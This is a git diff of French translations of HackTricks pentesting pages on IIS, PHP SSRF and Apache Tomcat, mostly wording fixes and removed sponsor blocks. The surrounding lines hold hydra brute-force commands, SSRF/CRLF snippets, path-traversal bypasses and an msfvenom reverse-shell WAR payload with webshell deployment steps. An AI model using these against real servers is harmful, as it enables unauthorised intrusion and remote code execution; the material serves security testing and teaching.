* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à l'adresse suivante :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
Testez les extensions de fichiers exécutables :
|
Testez les extensions de fichiers exécutables :
|
||||||
|
|
||||||
* asp
|
* asp
|
||||||
|
@ -38,7 +24,7 @@ Testez les extensions de fichiers exécutables :
|
||||||
|
|
||||||
## Divulgation de l'adresse IP interne
|
## Divulgation de l'adresse IP interne
|
||||||
|
|
||||||
Sur tout serveur IIS où vous obtenez un 302, vous pouvez essayer de supprimer l'en-tête Host et d'utiliser HTTP/1.0, et à l'intérieur de la réponse, l'en-tête Location pourrait vous indiquer l'adresse IP interne :
|
Sur tout serveur IIS où vous obtenez un 302, vous pouvez essayer de supprimer l'en-tête Host et d'utiliser HTTP/1.0 et à l'intérieur de la réponse, l'en-tête Location pourrait vous indiquer l'adresse IP interne :
|
||||||
```
|
```
|
||||||
nc -v domain.com 80
|
nc -v domain.com 80
|
||||||
openssl s_client -connect domain.com:443
|
openssl s_client -connect domain.com:443
|
||||||
|
@ -85,13 +71,13 @@ Consultez l'intégralité de l'article ici : [https://blog.mindedsecurity.com/20
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
En résumé, il y a plusieurs fichiers web.config à l'intérieur des dossiers de l'application avec des références aux fichiers "**assemblyIdentity**" et "**namespaces**". Avec ces informations, il est possible de savoir **où se trouvent les exécutables** et de les télécharger.\
|
En résumé, il y a plusieurs fichiers web.config à l'intérieur des dossiers de l'application avec des références aux fichiers "**assemblyIdentity**" et "**namespaces**". Avec ces informations, il est possible de savoir **où se trouvent les exécutables** et de les télécharger.\
|
||||||
À partir des **Dlls téléchargés**, il est également possible de trouver **de nouveaux namespaces** où vous devriez essayer d'accéder et d'obtenir le fichier web.config afin de trouver de nouveaux namespaces et assemblyIdentity.\
|
À partir des **Dlls téléchargés**, il est également possible de trouver **de nouveaux namespaces** où vous devriez essayer d'accéder et obtenir le fichier web.config afin de trouver de nouveaux namespaces et assemblyIdentity.\
|
||||||
De plus, les fichiers **connectionstrings.config** et **global.asax** peuvent contenir des informations intéressantes.\\
|
De plus, les fichiers **connectionstrings.config** et **global.asax** peuvent contenir des informations intéressantes.\\
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Dans les **applications .Net MVC**, le fichier **web.config** joue un rôle crucial en spécifiant chaque fichier binaire sur lequel l'application repose à travers des balises XML **"assemblyIdentity"**.
|
Dans les **applications .Net MVC**, le fichier **web.config** joue un rôle crucial en spécifiant chaque fichier binaire sur lequel l'application repose à travers des balises XML **"assemblyIdentity"**.
|
||||||
|
|
||||||
### **Explorer les fichiers binaires**
|
### **Exploration des fichiers binaires**
|
||||||
|
|
||||||
Un exemple d'accès au fichier **web.config** est montré ci-dessous :
|
Un exemple d'accès au fichier **web.config** est montré ci-dessous :
|
||||||
```markup
|
```markup
|
||||||
|
@ -216,7 +202,7 @@ Si vous voyez une erreur comme celle-ci :
|
||||||
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||||
|
|
||||||
Cela signifie que le serveur **n'a pas reçu le bon nom de domaine** dans l'en-tête Host.\
|
Cela signifie que le serveur **n'a pas reçu le bon nom de domaine** dans l'en-tête Host.\
|
||||||
Pour accéder à la page web, vous pourriez jeter un œil au **certificat SSL** servi et peut-être que vous pourrez y trouver le nom de domaine/sous-domaine. S'il n'y est pas, vous devrez peut-être **forcer les VHosts** jusqu'à ce que vous trouviez le bon.
|
Pour accéder à la page web, vous pourriez jeter un œil au **certificat SSL** servi et peut-être que vous pourrez y trouver le nom de domaine/sous-domaine. S'il n'est pas là, vous devrez peut-être **forcer les VHosts** jusqu'à ce que vous trouviez le bon.
|
||||||
|
|
||||||
## Anciennes vulnérabilités IIS à rechercher
|
## Anciennes vulnérabilités IIS à rechercher
|
||||||
|
|
||||||
|
@ -245,7 +231,7 @@ ASP.NET inclut un mode de débogage et son fichier s'appelle `trace.axd`.
|
||||||
|
|
||||||
Il conserve un journal très détaillé de toutes les requêtes faites à une application sur une période de temps.
|
Il conserve un journal très détaillé de toutes les requêtes faites à une application sur une période de temps.
|
||||||
|
|
||||||
Cette information inclut les IP des clients distants, les ID de session, tous les cookies de requête et de réponse, les chemins physiques, les informations sur le code source, et potentiellement même les noms d'utilisateur et mots de passe.
|
Ces informations incluent les IP des clients distants, les ID de session, tous les cookies de requête et de réponse, les chemins physiques, les informations sur le code source, et potentiellement même les noms d'utilisateur et mots de passe.
|
||||||
|
|
||||||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||||||
|
|
||||||
|
@ -285,29 +271,17 @@ HTTP/1.1 401 Unauthorized
|
||||||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
```
|
```
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares volants d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### Fonctions SSRF PHP
|
### Fonctions SSRF PHP
|
||||||
|
|
||||||
Certaines fonctions telles que **file\_get\_contents(), fopen(), file(), md5\_file()** acceptent des URL en entrée qu'elles suivront, rendant **possible les vulnérabilités SSRF** si l'utilisateur peut contrôler les données :
|
Certaines fonctions telles que **file\_get\_contents(), fopen(), file(), md5\_file()** acceptent des URL en entrée qu'elles suivront, rendant **possible les vulnérabilités SSRF** si l'utilisateur peut contrôler les données :
|
||||||
|
@ -34,7 +26,7 @@ md5_file("http://127.0.0.1:8081");
|
||||||
```
|
```
|
||||||
### Wordpress SSRF via DNS Rebinding
|
### Wordpress SSRF via DNS Rebinding
|
||||||
|
|
||||||
As [**expliqué dans cet article de blog**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), même la fonction Wordpress **`wp_safe_remote_get`** est vulnérable au DNS rebinding, ce qui la rend potentiellement vulnérable aux attaques SSRF. La principale validation qu'elle appelle est **wp\_http\_validate\_ur**l, qui vérifie que le protocole est `http://` ou `https://` et que le port est l'un de **80**, **443**, et **8080**, mais elle est **vulnérable au DNS rebinding**.
|
Comme [**expliqué dans cet article de blog**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), même la fonction Wordpress **`wp_safe_remote_get`** est vulnérable au DNS rebinding, ce qui la rend potentiellement vulnérable aux attaques SSRF. La principale validation qu'elle appelle est **wp\_http\_validate\_ur**l, qui vérifie que le protocole est `http://` ou `https://` et que le port est l'un de **80**, **443**, et **8080**, mais elle est **vulnérable au DNS rebinding**.
|
||||||
|
|
||||||
D'autres fonctions vulnérables selon l'article sont :
|
D'autres fonctions vulnérables selon l'article sont :
|
||||||
|
|
||||||
|
@ -48,7 +40,7 @@ D'autres fonctions vulnérables selon l'article sont :
|
||||||
|
|
||||||
### CRLF
|
### CRLF
|
||||||
|
|
||||||
Moreover, in some cases it might be even possible to send arbitrary headers via CRLF "vulnerabilities" in the previous functions:
|
De plus, dans certains cas, il pourrait même être possible d'envoyer des en-têtes arbitraires via des "vulnérabilités" CRLF dans les fonctions précédentes :
|
||||||
```php
|
```php
|
||||||
# The following will create a header called from with value Hi and
|
# The following will create a header called from with value Hi and
|
||||||
# an extra header "Injected: I HAVE IT"
|
# an extra header "Injected: I HAVE IT"
|
||||||
|
@ -67,7 +59,7 @@ Connection: close
|
||||||
Pour plus d'informations sur cette vulnérabilité CRLF, consultez ce bug [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
|
Pour plus d'informations sur cette vulnérabilité CRLF, consultez ce bug [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Notez que ces fonctions pourraient avoir d'autres méthodes pour définir des en-têtes arbitraires dans les requêtes, comme :
|
Notez que ces fonctions peuvent avoir d'autres méthodes pour définir des en-têtes arbitraires dans les requêtes, comme :
|
||||||
```php
|
```php
|
||||||
$url = "";
|
$url = "";
|
||||||
|
|
||||||
|
@ -83,15 +75,9 @@ $options = array(
|
||||||
$context = stream_context_create($options);
|
$context = stream_context_create($options);
|
||||||
$file = file_get_contents($url, false, $context);
|
$file = file_get_contents($url, false, $context);
|
||||||
```
|
```
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Discovery
|
## Discovery
|
||||||
|
|
||||||
* Il fonctionne généralement sur **le port 8080**
|
* Il fonctionne généralement sur le **port 8080**
|
||||||
* **Erreur courante de Tomcat :**
|
* **Erreur courante de Tomcat :**
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
@ -40,7 +32,7 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||||||
```
|
```
|
||||||
Cela recherchera le terme "Tomcat" dans la page d'index de la documentation, révélant la version dans la balise titre de la réponse HTML.
|
Cela recherchera le terme "Tomcat" dans la page d'index de la documentation, révélant la version dans la balise titre de la réponse HTML.
|
||||||
|
|
||||||
### **Emplacement des fichiers de gestion**
|
### **Emplacement des fichiers du gestionnaire**
|
||||||
|
|
||||||
Identifier les emplacements exacts des répertoires **`/manager`** et **`/host-manager`** est crucial car leurs noms peuvent être modifiés. Une recherche par force brute est recommandée pour localiser ces pages.
|
Identifier les emplacements exacts des répertoires **`/manager`** et **`/host-manager`** est crucial car leurs noms peuvent être modifiés. Une recherche par force brute est recommandée pour localiser ces pages.
|
||||||
|
|
||||||
|
@ -73,14 +65,13 @@ Pour tenter une attaque par force brute sur le répertoire manager, on peut util
|
||||||
```bash
|
```bash
|
||||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||||
```
|
```
|
||||||
```markdown
|
|
||||||
Along with setting various parameters in Metasploit to target a specific host.
|
Along with setting various parameters in Metasploit to target a specific host.
|
||||||
|
|
||||||
## Common Vulnerabilities
|
## Common Vulnerabilities
|
||||||
|
|
||||||
### **Password Backtrace Disclosure**
|
### **Password Backtrace Disclosure**
|
||||||
|
|
||||||
Accéder à `/auth.jsp` peut révéler le mot de passe dans un backtrace dans des circonstances favorables.
|
Accéder à `/auth.jsp` peut révéler le mot de passe dans une trace de retour dans des circonstances favorables.
|
||||||
|
|
||||||
### **Double URL Encoding**
|
### **Double URL Encoding**
|
||||||
|
|
||||||
|
@ -90,7 +81,7 @@ Pour accéder à l'interface de gestion de Tomcat, allez à : `pathTomcat/%252E%
|
||||||
|
|
||||||
### /examples
|
### /examples
|
||||||
|
|
||||||
Les versions d'Apache Tomcat 4.x à 7.x incluent des scripts d'exemple qui sont susceptibles de divulgation d'informations et d'attaques de cross-site scripting (XSS). Ces scripts, listés de manière exhaustive, doivent être vérifiés pour un accès non autorisé et une exploitation potentielle. Trouvez [plus d'infos ici](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
Les versions d'Apache Tomcat 4.x à 7.x incluent des scripts d'exemple qui sont susceptibles de divulgation d'informations et d'attaques de script intersite (XSS). Ces scripts, listés de manière exhaustive, doivent être vérifiés pour un accès non autorisé et une exploitation potentielle. Trouvez [plus d'infos ici](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||||
|
|
||||||
* /examples/jsp/num/numguess.jsp
|
* /examples/jsp/num/numguess.jsp
|
||||||
* /examples/jsp/dates/date.jsp
|
* /examples/jsp/dates/date.jsp
|
||||||
|
@ -119,18 +110,17 @@ Les versions d'Apache Tomcat 4.x à 7.x incluent des scripts d'exemple qui sont
|
||||||
|
|
||||||
Dans certaines [**configurations vulnérables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), vous pouvez accéder à des répertoires protégés dans Tomcat en utilisant le chemin : `/..;/`
|
Dans certaines [**configurations vulnérables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), vous pouvez accéder à des répertoires protégés dans Tomcat en utilisant le chemin : `/..;/`
|
||||||
|
|
||||||
Ainsi, par exemple, vous pourriez être en mesure d'**accéder à la page de gestion de Tomcat** en accédant à : `www.vulnerable.com/lalala/..;/manager/html`
|
Ainsi, par exemple, vous pourriez être en mesure d'**accéder à la page du gestionnaire Tomcat** en accédant à : `www.vulnerable.com/lalala/..;/manager/html`
|
||||||
|
|
||||||
**Une autre façon** de contourner les chemins protégés en utilisant cette astuce est d'accéder à `http://www.vulnerable.com/;param=value/manager/html`
|
**Une autre façon** de contourner les chemins protégés en utilisant cette astuce est d'accéder à `http://www.vulnerable.com/;param=value/manager/html`
|
||||||
|
|
||||||
## RCE
|
## RCE
|
||||||
|
|
||||||
Enfin, si vous avez accès au Tomcat Web Application Manager, vous pouvez **télécharger et déployer un fichier .war (exécuter du code)**.
|
Enfin, si vous avez accès au Gestionnaire d'Applications Web Tomcat, vous pouvez **télécharger et déployer un fichier .war (exécuter du code)**.
|
||||||
|
|
||||||
### Limitations
|
### Limitations
|
||||||
|
|
||||||
Vous ne pourrez déployer un WAR que si vous avez **suffisamment de privilèges** (rôles : **admin**, **manager** et **manager-script**). Ces détails peuvent être trouvés dans _tomcat-users.xml_ généralement défini dans `/usr/share/tomcat9/etc/tomcat-users.xml` (cela varie selon les versions) (voir [POST ](tomcat.md#post)section).
|
Vous ne pourrez déployer un WAR que si vous avez **suffisamment de privilèges** (rôles : **admin**, **manager** et **manager-script**). Ces détails peuvent être trouvés dans _tomcat-users.xml_ généralement défini dans `/usr/share/tomcat9/etc/tomcat-users.xml` (cela varie selon les versions) (voir [POST ](tomcat.md#post)section).
|
||||||
```
|
|
||||||
```bash
|
```bash
|
||||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||||
|
|
||||||
|
@ -157,7 +147,7 @@ msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o r
|
||||||
```
|
```
|
||||||
2. Téléchargez le fichier `revshell.war` et accédez-y (`/revshell/`):
|
2. Téléchargez le fichier `revshell.war` et accédez-y (`/revshell/`):
|
||||||
|
|
||||||
### Shell bind et reverse avec [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
### Shell de liaison et shell inversé avec [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||||
|
|
||||||
Dans certains scénarios, cela ne fonctionne pas (par exemple, les anciennes versions de sun)
|
Dans certains scénarios, cela ne fonctionne pas (par exemple, les anciennes versions de sun)
|
||||||
|
|
||||||
|
@ -212,7 +202,7 @@ webshell.war is created
|
||||||
```
|
```
|
||||||
Vous pouvez également installer cela (permet l'upload, le download et l'exécution de commandes) : [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
Vous pouvez également installer cela (permet l'upload, le download et l'exécution de commandes) : [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||||
|
|
||||||
### Méthode manuelle 2
|
### Méthode Manuelle 2
|
||||||
|
|
||||||
Obtenez un shell web JSP tel que [celui-ci](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) et créez un fichier WAR :
|
Obtenez un shell web JSP tel que [celui-ci](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) et créez un fichier WAR :
|
||||||
```bash
|
```bash
|
||||||
|
@ -241,15 +231,9 @@ msf> use post/windows/gather/enum_tomcat
|
||||||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -10,27 +10,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
* Check the [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Check the [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos GitHub.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
## Discovery
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
* Il fonctionne généralement sur le **port 8080**
|
||||||
|
* **Erreur courante de Tomcat :**
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Découverte
|
|
||||||
|
|
||||||
* Il fonctionne généralement sur **le port 8080**
|
|
||||||
* **Erreur Tomcat courante :**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## Énumération
|
## Enumeration
|
||||||
|
|
||||||
### **Identification de la version**
|
### **Identification de la version**
|
||||||
|
|
||||||
|
@ -128,7 +120,7 @@ Enfin, si vous avez accès au Gestionnaire d'Applications Web Tomcat, vous pouve
|
||||||
|
|
||||||
### Limitations
|
### Limitations
|
||||||
|
|
||||||
Vous ne pourrez déployer un WAR que si vous avez **suffisamment de privilèges** (rôles : **admin**, **manager** et **manager-script**). Ces détails peuvent être trouvés dans _tomcat-users.xml_ généralement défini dans `/usr/share/tomcat9/etc/tomcat-users.xml` (cela varie selon les versions) (voir [POST ](./#post)section).
|
Vous ne pourrez déployer un WAR que si vous avez **suffisamment de privilèges** (rôles : **admin**, **manager** et **manager-script**). Ces détails peuvent être trouvés dans _tomcat-users.xml_, généralement défini dans `/usr/share/tomcat9/etc/tomcat-users.xml` (cela varie selon les versions) (voir la section [POST](./#post)).
|
||||||
```bash
|
```bash
|
||||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||||
|
|
||||||
|
@ -210,7 +202,7 @@ webshell.war is created
|
||||||
```
|
```
|
||||||
Vous pouvez également installer cela (permet l'upload, le download et l'exécution de commandes) : [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
Vous pouvez également installer cela (permet l'upload, le download et l'exécution de commandes) : [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||||
|
|
||||||
### Méthode manuelle 2
|
### Méthode Manuelle 2
|
||||||
|
|
||||||
